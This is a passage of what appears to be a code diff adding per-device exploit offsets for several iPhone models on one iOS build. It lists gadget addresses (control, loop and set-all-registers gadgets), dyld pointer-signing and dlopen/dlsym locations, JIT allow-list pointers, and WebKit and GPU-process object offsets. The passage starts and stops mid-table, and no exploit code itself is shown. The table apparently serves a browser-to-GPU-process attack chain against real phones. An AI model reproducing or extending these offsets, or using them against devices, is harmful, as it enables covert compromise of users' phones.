gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23cea77e8n, + libGPUCompilerImplLazy_cstring: 0x23bff1870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8ca998n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9c00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,2_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf3d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeec0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadee20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadee70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade268n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebf88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be8f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be5a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be5a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be4f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be5b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x258023e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5eb58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62db8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b8f8n, + WebCore__initPKContact_value: 0x1eda6b900n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a0c0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a0b8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a0a0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fd00n, + __pthread_head: 0x26a158020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a56d0n, + gadget_control_1_ios184: 0x23f0ce2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f275150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d249da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfc216cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218ad3820n, + libGPUCompilerImplLazy__invoker: 0x23ce737e8n, + libGPUCompilerImplLazy_cstring: 0x23bfbd870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8cab98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d298000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9e00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf2d8n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadedc0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edaded20n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edaded70n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade168n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebe88n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be7f0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be4a0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be4a8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be3f0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be4b8n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257ec3e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ea58n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62cb8n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b7f8n, + WebCore__initPKContact_value: 0x1eda6b800n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69fc0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69fb8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69fa0n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda5fc00n, + __pthread_head: 0x269740020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a55d0n, + gadget_control_1_ios184: 0x23f0ca2ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f271150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d245da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfbe16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218acf820n, + libGPUCompilerImplLazy__invoker: 0x23ce6f7e8n, + libGPUCompilerImplLazy_cstring: 0x23bfb9870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caa98n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d294000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8c9d00n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone14,6_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf098n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadeb80n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadeae0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadeb30n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edaddf28n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ada98n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ebc48n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9be5b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be260n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be268n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be270n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be1b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be278n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257e27e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5e818n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda62a78n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6b5b8n, + WebCore__initPKContact_value: 0x1eda6b5c0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda69d80n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda69d78n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda69d60n, + 